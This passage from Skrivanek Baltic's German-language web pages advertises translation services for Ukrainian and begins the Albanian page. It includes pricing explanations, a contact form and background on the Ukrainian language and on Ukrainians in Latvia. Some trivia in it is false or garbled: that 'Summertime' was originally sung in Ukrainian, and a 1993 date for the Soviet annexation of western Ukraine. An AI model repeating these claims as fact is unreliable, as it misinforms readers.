nach Hebräisch; Hebräisch nach Italienisch; Französisch nach Hebräisch; Hebräisch nach Französisch; Dänisch nach Hebräisch; Hebräisch nach Dänisch; Norwegisch nach Hebräisch; Hebräisch nach Norwegisch; Schwedisch nach Hebräisch; Hebräisch nach Schwedisch; Finnisch nach Hebräisch; Hebräisch zu Finnisch und andere. --- > Allgemeine, fachliche und notariell beglaubigte Übersetzungen, Dolmetscherdienste und andere Sprachdienstleistungen für das Ukrainische. - Published: 2025-01-06 - Modified: 2025-03-26 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ukrainu-valoda/ - Translation Priorities: Optional Übersetzungen und andere Sprachdienstleistungen in ukrainischer Sprache 1 Anfrage senden ÜBERSETZUNGEN INS UKRAINISCHE WIE VIEL KOSTET EINE ÜBERSETZUNG INS UKRAINISCHE? Der Preis für jede Übersetzung aus dem/ins Ukrainische wird individuell berechnet, wobei verschiedene Elemente berücksichtigt werden: Umfang des zu übersetzenden Materials, Abgabefristen, Besonderheiten des Inhalts, Wiederholungen im Text, grafische Bearbeitung, Textformatierung, Korrektur sowie vom Kunden gewählte Zusatzleistungen (notarielle Beglaubigungen und andere Dienstleistungen). GIBT ES EINE PREISLISTE? Um die genauen Kosten für die Übersetzung ermitteln zu können, warten wir auf die Zusendung Ihrer Dokumente per E-Mail. Unsere Projektmanager werden sich vor Auftragsbeginn mit Ihnen in Kontakt setzen und Sie über die Kosten der Übersetzung informieren. Der Preis für die Übersetzung wird nach der jeweils gültigen Preisliste von Skrivanek nach der Anzahl der Wörter im Text, den Wortwiederholungen und anderen Faktoren bestimmt. Wir garantieren volle Vertraulichkeit und sind verantwortlich für die Qualität der Textverarbeitung und die Fertigstellung jedes Projekts, unabhängig von dessen Umfang oder Schwierigkeitsgrad. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Ukrainische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere ukrainischen Sprachdienstleistungen umfassen: Dokumentenübersetzung Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Brauchen Sie eine Sprachdienstleistung auf Ukrainisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE UKRAINISCHE SPRACHE Die ukrainische Sprache (auf Ukrainisch: украї́нська мо́ва, romanisiert: ukrainska mova), historisch auch Ruthenisch genannt, ist eine slawische Sprache der indogermanischen Sprachfamilie. Es ist die Amtssprache in der Ukraine und eine der Amtssprachen in der Pridnestrowischen Moldauischen Republik. Die meisten ukrainischsprachigen Menschen leben in der Ukraine. Es ist die zweit- oder drittgrößte slawische Sprache nach Russisch und Polnisch und wird von rund 45 Millionen Ukrainern gesprochen. Das ukrainische Schriftsystem verwendet die kyrillische Schrift. Ähnliche Sprachen wie das Ukrainische sind Rusyn, das von einigen Linguisten als ein Dialekt des Ukrainischen betrachtet wird, Belarussisch und Russisch. Die ukrainische Standardsprache wird von der Nationalen Akademie der Wissenschaften der Ukraine geregelt, insbesondere von ihrem Institut für ukrainische Sprache, der Stiftung für ukrainische Sprachinformation und dem Potebnia-Institut für Linguistik. Die ukrainische Sprache stammt von der ostslawischen Sprache ab, die von den Bewohnern der Kiewer Rus vom 10. bis 13. Jahrhundert gesprochen wurden. Als die Ostukraine von 1804 bis zur Russischen Revolution von 1917 zum Russischen Reich gehörte, war es verboten, in den Schulen Ukrainisch zu sprechen, da es als Teil des Russischen als kleinrussischer Dialekt(малороссийское наречие русского языка) angesehen wurde. In der Westukraine, die zunächst zu Polen-Litauen und später zur Österreichisch-Ungarischen Monarchie gehörte, war die ukrainische Sprache, die so genannte ruthenische Sprache(русинська мова), nie verboten. Dies war vorteilhaft für die Entwicklung der Sprache. Die ukrainischen Dialekte werden traditionell in drei Gruppen eingeteilt: Südwestdialekt (mit ausgeprägter Dialektverbreitung, die mit dem Einfluss des Polnischen, Slowakischen und Ungarischen zusammenhängt), Norddialekt (die Merkmale der nördlichen Dialekte entstanden unter dem Einfluss der benachbarten belarussischen Dialekte) und Südostdialekt, auf die die heutige Schriftsprache aufbaut. In den östlichen und südöstlichen Regionen der Ukraine, vor allem in den Städten (Saporischschja, Donbass, Krywyj Rih, Odessa) sowie auf der Krim, gibt es seit dem 17. und 18. Jahrhundert das so genannte суржик 'Surzhyk' (ursprüngliche Bedeutung: Mischung aus Roggen, Weizen und Hafer) - eine Umgangssprache, die durch die mechanische Kombination der Phonetik ukrainischer Dialekte und meist russischer Vokabeln entstanden ist. Der ukrainische Wortschatz setzt sich in erster Linie aus dem slawischen Wortschatz und dem gemeinsamen ostslawischen Wortschatz zusammen. Der alte (slawische, ostslawische, ukrainische) Wortschatz macht etwa 90% des ukrainischen Wortschatzes aus. Die wichtigsten Gruppen von Entlehnungen sind Graecismen, Latinismen, Polonismen, Russismen und Entlehnungen aus anderen Sprachen über das Russische, sowie russische Kalken, Entlehnungen aus dem Türkischen und moderne Entlehnungen aus westeuropäischen Sprachen: Deutsch, Englisch, Französisch, Italienisch und andere. Während der sieben Jahrzehnte währenden Sowjetzeit war Ukrainisch in der Ukrainischen SSR Amtssprache. In der Realität war dies jedoch oft nicht der Fall - die Ukrainer mussten immer mit der russischen Sprache konkurrieren und die sowjetischen Behörden hatten unterschiedliche Haltungen gegenüber dem Ukrainischen, die von Ermutigung und Toleranz bis hin zu tatsächlicher Ablehnung reichten. Ukrainisch ist seit 1991 Amtssprache in der Ukraine. Die Regierung hat mit seiner Verwaltungspolitik seitdem die Nutzung der Sprache ausgeweitet. Das ukrainische Bildungssystem wurde innerhalb des ersten Jahrzehnts der Unabhängigkeit von einer teilweisen auf eine vollständige Verwendung der ukrainischen Sprache in den Schulen umgestellt. Nach und nach wurde die Verwendung des Ukrainischen in den Massenmedien und im Handel ausgeweitet. Es gab Situationen, in denen der plötzliche Wechsel der Studiensprache an den Hochschulen die russischsprachigen Bürger verärgerte. Im Laufe der Zeit begann der Großteil der Bevölkerung, einschließlich ethnischer Russen, Menschen gemischter Ethnie und russischsprachiger Ukrainer, sich als ukrainische Bürger zu identifizieren. Die Verwendung der ukrainischen Sprache nimmt nach einer langen Phase des Rückgangs wieder zu. Obwohl es fast fünfzig Millionen ethnische Ukrainer auf der ganzen Welt gibt, davon 37,5 Millionen in der Ukraine (77,8% der Bevölkerung), ist Ukrainisch in der West- und Zentralukraine am weitesten verbreitet. In Kiew wird sowohl Ukrainisch als auch Russisch gesprochen, was ein deutlicher Unterschied zur jüngeren Vergangenheit ist, als in der Stadt überwiegend Russisch gesprochen wurde. Es wird davon ausgegangen, dass diese Veränderungen größtenteils auf den Zustrom von Einwanderern aus den westlichen Regionen der Ukraine sowie auf eine Handvoll Bürger aus Kiew zurückzuführen sind, die sich dafür entschieden haben, an öffentlichen Plätzen die Sprache zu sprechen, die sie zu Hause sprechen. Öffentliche Anzeigen und Bekanntmachungen in Kiew wurden in ukrainischer Sprache geschaltet. Russisch ist in den meisten Städten und Gemeinden der Süd- und Ostukraine die am weitesten verbreitete Sprache. Am 25. April 2019 verabschiedete die Werchowna Rada der Ukraine das Gesetz über den obligatorischen Gebrauch der ukrainischen Sprache in staatlichen und kommunalen Einrichtungen. Die Ukraine bemüht sich, den russischen Einfluss im Lande zu verringern. Das Hauptziel des verabschiedeten Gesetzes ist es, die Verwendung der ukrainischen Sprache im öffentlichen Raum vollständig zu sichern. Von nun an sind die Unternehmen verpflichtet, Informationen über ihre Produkte und Dienstleistungen in ukrainischer Sprache bereitzustellen. Es gab hitzige politische Diskussionen und die Meinungen gingen völlig auseinander. Das Gesetz sieht vor, dass die folgenden Berufsgruppen fließend Ukrainisch sprechen müssen: Politiker, einschließlich des Präsidenten, Lehrer, medizinisches Personal, Rechtsanwälte und Notare. Die ukrainische Sprache muss fast überall verwendet werden: im Radio und Fernsehen, in der Presse, bei Sportveranstaltungen, in der Werbung und bei Parteiaktivitäten. Das Gesetz gilt nicht für die private Kommunikation und bei religiösen Zeremonien. Um die ukrainische Staatsbürgerschaft erhalten zu können, muss man Ukrainisch können. In der Westukraine, wo die russische Sprache kaum verbreitet ist, ist es eine uralte Praxis, auf eine auf Russisch gestellte Frage auf Ukrainisch zu antworten. Diese Tradition hat sich seit 1993, als diese Region nach dem Überfall auf Polen von der Sowjetunion annektiert wurde, nicht wesentlich geändert. Nach den Ergebnissen eines Sprachwettbewerbs, der 1934 in Paris stattfand, ist Ukrainisch nach Französisch und Persisch die drittschönste Sprache in Bezug auf Phonetik, Wortschatz, Phraseologie und Satzbau. Außerdem gilt sie, nach dem Italienischem, als melodischste Sprache der Welt. Deswegen ist es nicht verwunderlich, dass viele eine Ähnlichkeit zwischen dem Ukrainischen und Vogelgezwitscher hören. Um sich davon zu überzeugen, sollte man sich George Gershwins weltberühmte ArieSummertime in der Originalsprache anhören, welche Ukrainisch ist! Summertime wurde von dem alten ukrainischen Wiegenlied Oi Hodyt' Son Kolo Vikon inspiriert. Das Ukrainische hat ein einzigartiges Alphabet mit zwei Buchstaben, die in keiner anderen Sprache vorkommen: ґ und ї. Im Land gibt es sieben UNESCO-Welterbestätten, darunter die Sankt-Sophia-Kathedrale in Kiew, die antike Stadt Tauric Chersonese und die alten Buchenwälder in den Karpaten. Die ukrainischen Bürger sind zweisprachig und sprechen sowohl Russisch als auch Ukrainisch. Die Ukrainer sind stolz auf ihre schöne Sprache. Wenn Sie sie auf Russisch ansprechen, werden sie Ihnen höchstwahrscheinlich auf Ukrainisch antworten. Für McDonald's-Liebhaber ist es interessant, dass das McDonald's-Restaurant im größten Bahnhof von Kiew das drittmeistbesuchte der Welt ist. Die Metrostation Arsenalnain Kiew ist als die tiefste Metrostation der Welt bekannt (105,5 Meter unter der Erde). DAS UKRAINISCHE ALPHABET Das ukrainische Alphabet wird für die ukrainische Sprache verwendet. Es verwendet eine modifizierte kyrillische Schrift. Das Alphabet besteht aus 33 Buchstaben, die 38 Phonemen (Lauten) entsprechen. 21 davon sind Konsonanten(б, в, г, ґ, д, ж, з, к, л, м, н, п, р, с, т, ф, х, ц, ч, ш, щ), 10 - Vokale(а, е, є, и, і, ї, о, у, ю, я), 1 - Teilvokal(й). Das diakritische Zeichen ь steht nicht für ein Phonem, sondern weist auf die Palatalisierung des vorherigen Konsonanten hin. Die kyrillische Schrift oder das kyrillische Alphabet ist eine der beiden altslawischen Schriftvarianten. Es wurde auf der Grundlage des Alphabets der Heiligen Kyrill und Methodius und des griechisch-byzantinischen Alphabets entwickelt. Sechs slawische Sprachen verwenden Alphabete, die auf dem frühkyrillischen Alphabet beruhen - Belarussisch, Bulgarisch, Russisch, Mazedonisch, Serbisch und Ukrainisch - sowie mehrere andere nicht-slawische Sprachen, vor allem in den ehemaligen Sowjetgebieten. Das ukrainische Alphabet existiert in seiner heutigen Form seit Ende des 19. Jahrhunderts. Anders als das russische Alphabet enthält es nicht die Buchstaben Ёё,,ъ, ы, Ээ, sondern Ґґ, Єє, Іі und Її (in der Zeit zwischen 1932 und 1990 gab es den Buchstaben Ґ nicht, der letzte Buchstabe im Alphabet war das diakritische Zeichen). Ebenso gibt es zahlreiche Wörter, die den ukrainischen Apostroph verwenden, der ein Analogon zum russischen Ъ und Ь ist, indem er den vorangehenden Konsonanten nicht palatalisiert. In der ukrainischen Schrift wurde das lateinische Alphabet in verschiedenen Epochen verwendet. Zurzeit gibt es kein standardisiertes oder geregeltes ukrainisches lateinisches Alphabet (es wurden lediglich Regeln für die lateinische Transliteration kyrillischer Buchstaben verabschiedet). Ihr Umfang ist recht begrenzt (meist handelt es sich um Veröffentlichungen, die dem ukrainischen lateinischen Alphabet selbst gewidmet sind). Diskussionen über die Vereinheitlichung und Verwendung des ukrainischen lateinischen Alphabets fanden in Galizien und der Bukowina in den 1830er und 1850er Jahren statt und wurden in den 1920er Jahren in der Ukrainischen Sozialistischen Sowjetrepublik fortgesetzt. WO UND WIE VIELE MENSCHEN SPRECHEN UKRAINISCH? Rund 45 Millionen Menschen sprechen die ukrainische Sprache. Ukrainisch ist die einzige Amtssprache in der Ukraine und auch in der nicht anerkannten Pridnestrowischen Moldauischen Republik ist es eine der drei Amtssprachen. In Moldawien, Rumänien, Serbien, der Slowakei, Kroatien sowie Bosnien und Herzegowina ist es als Minderheiten- oder Regionalsprache anerkannt. Die ukrainische Sprache hat auch bestimmte offizielle Funktionen auf regionaler Ebene in den Vereinigten Staaten von Amerika und Polen. Die ukrainische Minderheit ist die drittgrößte ukrainische Gemeinschaft der Welt nach der Ukraine und Russland und die fünftgrößte ethnische Gruppe in Kanada. Mehr als eine Millionen Menschen in Kanada identifizieren auf die eine oder andere Weise als Ukrainer. Während der ersten beiden Einwanderungswellen sprachen die Einwanderer in modernen westukrainischen Dialekten, aber im Laufe der Zeit entwickelte sich das kanadische Ukrainisch aufgrund der großen Entfernung und des Einflusses des Englischen anders als die westukrainischen Dialekte. Derzeit ist die Zahl der Ukrainisch sprechenden Menschen in Kanada rückläufig, aber es gibt ukrainische Schulen und Möglichkeiten, Ukrainisch an Universitäten in Kanada zu lernen. Das 1976 gegründete Kanadische Institut für Ukrainistik (Канадськийiнститут українських студiй) veröffentlicht wissenschaftliche Artikel und führt Projekte im Bereich der Ukrainistik durch, z. B. das Journal of Ukrainian Studies oder die Enzyklopädie der Ukraine(Енциклопедія українознавства). Polen hat mit 1,2 Millionen Menschen die zweitgrößte ukrainische Diaspora, gefolgt von den USA mit 1 Million und dann Brasilien, Argentinien, Moldawien, Kasachstan, Belarus, Deutschland, Tschechien, Rumänien, Portugal und Lettland. WIE SCHWIERIG IST DIE UKRAINISCHE SPRACHE? Meistens sind Vokabeln das schwierigste beim Erlernen einer Sprache. Der Grund dafür ist, dass das Erinnern von Vokabeln Wiederholung und häufige Anwendung erfordert und Ukrainisch ist da keine Ausnahme. Der wichtigste Grund, Ukrainisch zu lernen ist, dass man damit der ukrainischen Kultur etwas näher kommen und die Herzen der Ukrainer anstelle ihres Verstandes ansprechen kann. Seit jeher ist die Sprache für die Ukrainer sehr wichtig und bedeutend. Jemand, der keine Vorerfahrungen beim Erlernen von Sprachen hat und jeden Tag motiviert eine Stunde lang Ukrainisch lernen will, wird wahrscheinlich 3,5 oder 4 Jahre brauchen, um das mittlere Niveau in Ukrainisch zu erreichen. Auch die Aussprache des Ukrainischen ist für die meisten europäischen Muttersprachler recht schwierig. Die meisten Konsonanten haben palatalisierte und nicht-palatalisierte Versionen, die man unterscheiden können sollte. Außerdem hat die Sprache viele Laute, die es in anderen Sprachen nicht gibt, sowie einige Buchstabenkombinationen (vor allem Konsonantenkombinationen), die schwer auszusprechen sein können. Und schließlich ist die ukrainische Schrift kyrillisch. Dies ist möglicherweise die größte Herausforderung beim Erlernen der ukrainischen Sprache. Das Foreign Service Institute in den USA stuft Ukrainisch als eine schwierige Sprache ein, für die der Lernende (im Optimalfall) 1100 Lernstunden benötigt. Das ist fast doppelt so lange wie die Lernzeit für Niederländisch und halb so lange wie für Chinesisch. Das Studium an ukrainischen Universitäten wird als Studium auf hohem Niveau angesehen. Der Staat ist ausländischen Studenten gegenüber sehr aufgeschlossen. Die Universitäten bieten Dutzende von Studienprogrammen und Stipendien für potenzielle Studenten aus dem Ausland an. Die Ausbildung in der Ukraine ist bei Studenten aus afrikanischen und asiatischen Ländern beliebt, z. B. aus Libyen, Bangladesch, Indien, China, Nigeria, Ägypten, Jordanien usw. Die Vielfalt der Studienprogramme und die relativ niedrigen Studienkosten in der Ukraine sprechen Studierende an, die im Ausland ein Medizin- oder Ingenieurstudium absolvieren möchten. Die Bildungseinrichtungen bieten vier verschiedene Lernsprachen an: Ukrainisch, Russisch, Englisch und Französisch (für Studiengänge im Bereich Medizin). Polnisch, Tschechisch, Belarussisch und andere slawische Sprachen kann man eher verstehen, wenn man Ukrainisch gelernt hat, da sie sich recht ähnlich sind. DOLMETSCHER UND ÜBERSETZER FÜR DIE UKRAINISCHE SPRACHE Das Übersetzungsbüro Skrivanek Baltic bietet in der Regel Übersetzungen und Dolmetschen an. Dabei suchen wir die passendste Dienstleistung für den Kunden. Wir machen allgemeine und auch notariell beglaubigte Übersetzungen. Wir bieten auch das Korrekturlesen und die stilistische Verbesserung von Texten in ukrainischer Sprache an; Textkorrekturen und Terminologieüberprüfungen werden auf Wunsch durchgeführt. Wir garantieren, dass der Text wirkungsvoll und stilistisch angemessen ist und dem kulturellen Kontext sowohl in Bezug auf die Sprache als auch auf das Land entspricht. Am häufigsten übersetzen wir für Geschäftskunden aus der und in die ukrainische Sprache: SEO-Inhalte, E-Commerce- und Website-Inhalte, Werbeslogans, Marketing und Produktetiketten gemäß EU-Normen. Für Privatpersonen übersetzen wir persönliche Ausweisdokumente, Heiratsurkunden, Geburtsurkunden, Bildungsdokumente, Reisepässe, medizinische Dokumente usw. Die Übersetzungen kann notariell beglaubigt werden. UKRAINISCHE SPRACHE IN DER GESCHÄFTSWELT Am 16. Juli 2019 wurde das Gesetz zur Gewährleistung des Funktionierens der ukrainischen Sprache als Staatssprache verabschiedet. Das Gesetz besagt, dass alle ausländischen Unternehmer, die ihr Geschäft auf ukrainischem Gebiet ausweiten wollen, dafür sorgen müssen, dass alle rechtlichen Dokumente, Produktinformationen, Websites und andere geschäftsbezogene Dokumente in ukrainischer Sprache vorliegen. Ukrainische Unternehmer sprechen in der Regel fließend Russisch, Polnisch und Englisch, so dass es möglich ist, Geschäftstreffen in diesen Sprachen zu organisieren. Auf jeden Fall würde es jeder Ukrainer sehr zu schätzen wissen, wenn sein Geschäftspartner seine Muttersprache und seine Traditionen respektiert und zumindest ein paar Höflichkeitsfloskeln auf Ukrainisch beherrscht. ZUSAMMENARBEIT ZWISCHEN LETTLAND UND DER UKRAINE Die ukrainische Bevölkerung in Lettland wuchs nach dem Zweiten Weltkrieg rasch an, als Tausende von Ukrainern zur Arbeit in die Lettische SSR geschickt wurden, und gilt als ethnische Minderheit, die durch die jüngste Migration entstanden ist. Die Zahl der Ukrainer ging nach der Wiedererlangung der Unabhängigkeit Lettlands fast um die Hälfte zurück. 1897 lebten tausende ukrainische Soldaten und Studenten des Polytechnikums Riga in Lettland. Die übrigen sind während der Sowjetzeit hierher gezogen. Zurzeit leben 62 Tausend Ukrainer in Lettland. Sie ist die jüngste ethnische Minderheit in Bezug auf ihr Alter. In Bezug auf das Bildungsniveau stehen die Ukrainer an zweiter Stelle im Land (nach den Juden); sie gründen starke Familien und passen sich leicht an neue soziale Umgebungen an - unter den Ukrainern gibt es weniger Arbeitslose als unter jeder anderen ethnischen Minderheit. Die Ukrainer zeichnen sich durch ihre Autoritätstreue, Herzlichkeit, ihr Verantwortungsbewusstsein und ihre Disziplin aus. Dies konnte man anhand der Untersuchungen der Днiпро, der Ukrainischen Gesellschaft für Kultur und Bildung erschließen, die im Rahmen der Konferenz „Ukrainer in Lettland“ mit finanzieller Unterstützung der Lettischen Stiftung für gesellschaftliche Integration durchgeführt wurden. 452 Vertreter der ukrainischen Minderheit aus Rīga, Ventspils, Liepāja, Rēzekne, Tukums und dem Bezirk Rīga nahmen an der Umfrage teil. Der größte Teil der ukrainischen Gemeinschaft lebt in Rīga. In der Hauptstadt gibt es ein ukrainisches Gymnasium, dessen Absolventen fließend Ukrainisch und Lettisch sprechen. Die lettischen Ukrainer sind nach den lettischen Juden die zweitgrößte Gemeinschaft, aber ihre Einbürgerungsrate ist die niedrigste. Die meisten lettischen Ukrainer leben in gemischten ukrainischen und russischen Familien. Das Interesse an der lettisch-ukrainischen Kultur wird von den öffentlichen Organisationen der Lettisch-Ukrainischen Union und der Днiпро-Kulturgesellschaft (benannt nach dem größten Fluss der Ukraine) gefördert. Der ukrainische Kinderchor heißt auch Днiпро. Ukrainische Kulturzentren befinden sich in Ventspils, Rēzekne, Liepāja, Daugavpils und Vangaži. Im Vergleich zu anderen ethnischen Minderheiten in Lettland ist die Einbürgerungsquote der Ukrainer am niedrigsten. Obwohl Umfragen zufolge die Hälfte der Ukrainer die Integration eigentlich unterstützt, sind die meisten der Meinung, dass sie noch nicht einmal begonnen hat. Die Integrationsstrukturen sind formalisiert und von den Bedürfnissen und Interessen der ukrainischen ethnischen Minderheit getrennt. Die ukrainische ethnische Minderheit hat einen besonderen Platz in der multikulturellen Gesellschaft Lettlands. Sie wurde nach dem Zweiten Weltkrieg im Zuge der Sowjetisierung des Baltikums gegründet. Daher kann sie als eine durch Migration entstandene Minderheit betrachtet werden, im Gegensatz zu anderen ethnischen Minderheiten, die historisch auf lettischem Gebiet gelebt haben, z. B. Belarussen, Polen, Deutsche und Juden. Die ukrainische ethnische Minderheit integriert sich nur sehr langsam. Dies kann man vor allem bei der Einbürgerung der Ukrainer messen, denn diese ist unter den Minderheiten am niedrigsten. Die meisten Ukrainer finden, dass man für die Integration als wichtigste Voraussetzung die Amtssprache des Landes sprechen können muss. Obwohl die Ukrainer ihre Lettischkenntnisse seit 1993 erheblich verbessert haben, sprechen nur 11% fließend Lettisch. Der kostenlose Lettischunterricht, der von ukrainischen Kultur- und Bildungsverbänden und Schulen organisiert wird, könnte als wirksame Methode eingesetzt werden, indem versucht wird, einen Bezug zum muttersprachlichen Umfeld und zur ukrainischen Kultur herzustellen. Seit den jüngsten Ereignissen in der Ukraine, ist Lettland für die Ukraine und deren Bürger eine große Hilfe. Mit Hilfe des Verteidigungsministeriums und Elmārs Pļaviņš, dem Chefseelsorger der lettischen Streitkräfte, hat Lettland seit 2014 mehr als 400 Tonnen an humanitärer Hilfe für die Bürger der Regionen Donezk und Luhansk transportiert. Bis zum 18. Januar 2021 wurden bereits 21 humanitäre Hilfspakete ausgeliefert. Am 20. Januar 2021 übergaben die lettischen Streitkräfte 7 Fahrzeuge an die ukrainischen Streitkräfte zur Stärkung der militärischen medizinischen Fähigkeiten. Seit 2014 wurden insgesamt 75 Opfer des Konflikts in der Ukraine (ukrainische Soldaten, von Russland freigelassene politische Gefangene und deren Familienangehörige) im Rahmen des staatlichen Unterstützungsprogramms zur Behandlung nach Lettland aufgenommen. Sie erhielten medizinische Hilfe sowie physische und psychologische Rehabilitation in Höhe von 181. 000 EUR. Auch in der Bildung wurde eine hervorragende Zusammenarbeit aufgebaut. Im Jahr 2020 studieren 65 ukrainische Studenten im Rahmen des Studienprogramms „European Union Studies - Internal and Foreign Policy“ an der Universität von Lettland im Bereich „Young Professionals“ im Fernstudium, um große Managementkapazitäten zu stärken. Seit 2015 haben mehr als 150 ukrainische Studierende das Programm absolviert. Im Jahr 2020 wird das Studium im Rahmen des Online-Intensivprogramms für europäisches Recht und Wirtschaft an der Riga Graduate School of Law fortgesetzt. Sieben ukrainische Schüler haben die Schule im Jahr 2020 abgeschlossen. Insgesamt haben seit 2014 54 ukrainische Fachleute die Programme der Riga Graduate School of Law absolviert. DIE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM/ INS UKRAINISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Ukrainisch; Ukrainisch nach Lettisch; Estnisch nach Ukrainisch; Ukrainisch nach Estnisch; Litauisch nach Ukrainisch; Litauisch nach Litauisch; Russisch nach Ukrainisch; Ukrainisch nach Russisch; Tschechisch nach Ukrainisch; Ukrainisch nach Tschechisch; Polnisch nach Ukrainisch; Ukrainisch nach Polnisch; Ukrainisch nach Spanisch; Spanisch nach Ukrainisch; Deutsch nach Ukrainisch; Ukrainisch nach Deutsch; Italienisch nach Ukrainisch; Ukrainisch nach Italienisch; Französisch nach Ukrainisch; Ukrainisch nach Französisch; Dänisch nach Ukrainisch; Ukrainisch nach Dänisch; Norwegisch nach Ukrainisch; Ukrainisch nach Norwegisch; Schwedisch nach Ukrainisch; Ukrainisch nach Schwedisch; Finnisch nach Ukrainisch; Ukrainisch nach Finnisch, Englisch nach Ukrainisch; Ukrainisch nach Englisch und andere. DIE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM/ INS UKRAINISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Ukrainisch; Ukrainisch nach Lettisch; Estnisch nach Ukrainisch; Ukrainisch nach Estnisch; Litauisch nach Ukrainisch; Litauisch nach Litauisch; Russisch nach Ukrainisch; Ukrainisch nach Russisch; Tschechisch nach Ukrainisch; Ukrainisch nach Tschechisch; Polnisch nach Ukrainisch; Ukrainisch nach Polnisch; Ukrainisch nach Ukrainisch; Ukrainisch nach Spanisch; Spanisch nach Ukrainisch; Deutsch nach Ukrainisch; Ukrainisch nach Deutsch; Italienisch nach Ukrainisch; Ukrainisch nach Italienisch; Französisch nach Ukrainisch; Ukrainisch nach Französisch; Dänisch nach Ukrainisch; Ukrainisch nach Dänisch; Norwegisch nach Ukrainisch; Ukrainisch nach Norwegisch; Schwedisch nach Ukrainisch; Ukrainisch nach Schwedisch; Finnisch nach Ukrainisch; Ukrainisch nach Finnisch, Englisch nach Ukrainisch; Ukrainisch nach Englisch und andere. --- > Übersetzung von Dokumenten in die albanische Sprache. Dolmetscherdienste und viele weitere verschiedene albanische Sprachdienstleistungen! Erhalten Sie ein unverbindliches und kostenloses Angebot! - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-albanu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS ALBANISCHE WIE VIEL KOSTEN ÜBERSETZUNGEN INS ALBANISCHE? Der Preis für Übersetzungen aus dem und ins Albanische wird für jeden Auftrag individuell berechnet. Bei der Preisberechnung werden die für Ihren Auftrag spezifischen Parameter berücksichtigt. Beim Konsekutivdolmetschen und beim Simultandolmetschen beispielsweise richtet sich der Preis nach der Dauer der Dienstleistung, dem Ort der Veranstaltung, den Reisekosten und dem Tagegeld. Beim Simultandolmetschen fallen zusätzliche Kosten für die technische Unterstützung an, die von der Anzahl der Teilnehmer an der Veranstaltung abhängen. Der Preis für eine albanische Übersetzung richtet sich nach dem Umfang und der Lesbarkeit des zu übersetzenden Materials, den Übersetzungsfristen, der Komplexität der Terminologie, Wiederholungen im Text, der Komplexität und Formatierung von Bildern und Grafiken, dem Korrekturlesen sowie anderen vom Kunden gewählten Zusatzleistungen. GIBT ES EINE PREISLISTE? Selbstverständlich ist die Preisliste für Übersetzungen, Dolmetschen (simultan und konsekutiv), Lokalisierungen und Adaptionen aus dem und ins Albanische ein integraler Bestandteil unsere Kundenverträge. Die Projektmanager von Skrivanek erstellen vor Beginn eines jeden Übersetzungsprojekts eine genaue Preisliste. Der Kostenvoranschlag ist innerhalb von 30 Minuten fertig. Bei Texten werden die Anzahl der Wörter im Ausgangstext, die Wiederholungen, die Komplexität der grafischen Elemente und andere Parameter bei der Preiskalkulation miteinbezogen. Wir freuen uns auf die Zusendung Ihrer übersetzten Unterlagen per E-Mail um den Preis zu berechnen. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Albanische oder einer anderen Sprachkombination inklusive unserer Unternehmensdienstleistungen brauchen. Unsere albanischen Sprachdienstleistungen umfassen: Dokumentenübersetzung Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Brauchen Sie eine Sprachdienstleistung für Albanisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und 